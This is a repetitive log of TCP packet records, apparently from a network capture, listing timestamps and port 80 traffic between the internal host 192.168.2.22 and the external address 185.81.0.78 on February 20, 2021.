Feb 20, 2021 02:03:51.095207930 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.095237970 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.095252991 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.095276117 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.095314026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.095314980 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.095330000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.095366001 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.095382929 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.095443010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.095463991 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.095523119 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.095558882 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.095581055 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.095621109 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.095643044 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.095649004 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.095665932 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.095679998 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.095686913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.095716000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.095742941 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.095746040 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.095763922 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.095808983 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.095817089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.095827103 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.095886946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.095891953 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.095913887 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.095966101 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.095974922 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.095984936 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.096039057 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.096048117 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.096072912 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.096100092 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.096110106 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.096128941 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.096131086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.096169949 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.096172094 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.096191883 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.096196890 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.096214056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.096287966 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.096301079 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.096309900 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.096312046 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.096318007 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.096334934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.096357107 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.096369028 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.096395969 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.096396923 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.096424103 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.096461058 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.096468925 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.096478939 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.096494913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.096518993 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.096524000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.096539974 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.096555948 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.096565962 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.096591949 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.096596956 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.096612930 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.096637011 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.096652031 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.096661091 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.096693039 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.096728086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.096755028 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.096779108 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.096787930 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.096801043 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.096823931 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.096862078 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.096865892 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.096887112 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.096925974 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.096949100 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.096951008 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.096971035 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.096981049 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.097011089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.097012043 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.097019911 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.097037077 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.097071886 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.097079039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.097103119 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.097107887 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.097131014 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.097145081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.097179890 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.097182035 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.097204924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.097212076 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.097239017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.097240925 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.097269058 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.097280025 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.097297907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.097304106 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.097326040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.097330093 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.097347975 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.097361088 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.097373962 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.097409964 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.097438097 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.097440958 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.097444057 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.097503901 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.097522020 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.097543955 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.097565889 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.097588062 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.097589970 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.097598076 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.097618103 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.097625017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.097647905 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.097651005 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.097677946 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.097677946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.097698927 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.097707987 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.097743988 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.097759008 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.097764015 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.097785950 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.097807884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.097829103 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.097831964 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.097836971 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.097871065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.097881079 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.098503113 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.098556995 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.098638058 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.098683119 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.098723888 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.098766088 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.098793983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.098814964 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.098835945 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.098850012 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.098876953 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.098947048 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.098947048 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.098989964 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.099026918 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.099069118 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.099086046 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.099107027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.099133015 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.099148989 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.099170923 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.099193096 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.099215031 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.099230051 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.099237919 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.099281073 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.099309921 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.099351883 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.099544048 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.099589109 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.099612951 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.099653959 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.099692106 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.099713087 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.099737883 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.099750996 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.099785089 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.099828959 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.099850893 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.099873066 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.099894047 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.099895954 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.099911928 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.099935055 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.099958897 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.099992037 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.100003958 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.100013971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.100028992 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.100033998 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.100050926 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.100070000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.100111008 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.100132942 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.100156069 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.100178003 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.100312948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.100331068 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.100347996 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.100368023 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.100394964 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.100403070 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.100404024 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.100406885 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.100435019 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.100440025 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.100464106 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.100461006 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.100488901 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.100505114 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.100512981 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.100528002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.100548983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.100552082 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.100579023 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.100600958 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.100619078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.100645065 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.100666046 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.100668907 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.100689888 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.100713015 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.100723028 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.100745916 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.100771904 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.100795031 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.100817919 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.100838900 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.100858927 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.100883007 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.100909948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.100933075 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.100954056 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.100976944 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.100996971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.101033926 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.101043940 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.101058006 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.101068974 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.101079941 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.101094961 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.101100922 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.101144075 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.101165056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.101171970 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.101186037 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.101206064 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.101218939 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.101228952 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.101248026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.101253986 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.101269007 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.101289034 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.101291895 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.101316929 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.101324081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.101329088 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.101347923 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.101366997 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.101370096 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.101399899 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.101417065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.101459980 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.101481915 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.101504087 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.101516962 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.101526022 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.101536989 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.101556063 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.101562023 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.101581097 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.101583004 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.101608038 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.101629972 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.101634026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.101656914 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.101676941 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.101680994 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.101713896 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.101722956 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.101752043 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.101758957 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.101772070 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.101772070 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.101795912 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.101805925 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.101816893 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.101828098 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.101840973 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.101847887 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.101866961 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.101887941 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.101948977 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.102001905 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.102036953 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.102077961 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.143791914 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.143826008 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.143848896 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.143870115 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.143942118 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.143973112 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.144046068 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.144079924 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.144083023 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.144087076 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.144089937 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.144092083 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.144953966 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.144982100 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.145004034 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.145028114 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.145056963 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.145088911 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.145097017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.145184994 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.145245075 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.145253897 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.145260096 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.145263910 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.145500898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.145586967 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.145596027 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.145644903 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.145649910 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.145703077 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.145812988 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.145875931 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.145982027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.146050930 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.146095991 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.146152020 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.146164894 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.146214962 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.146384954 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.146472931 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.146481991 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.146526098 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.146533966 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.146579981 CET	80	49165	185.81.0.78	192.168.2.22
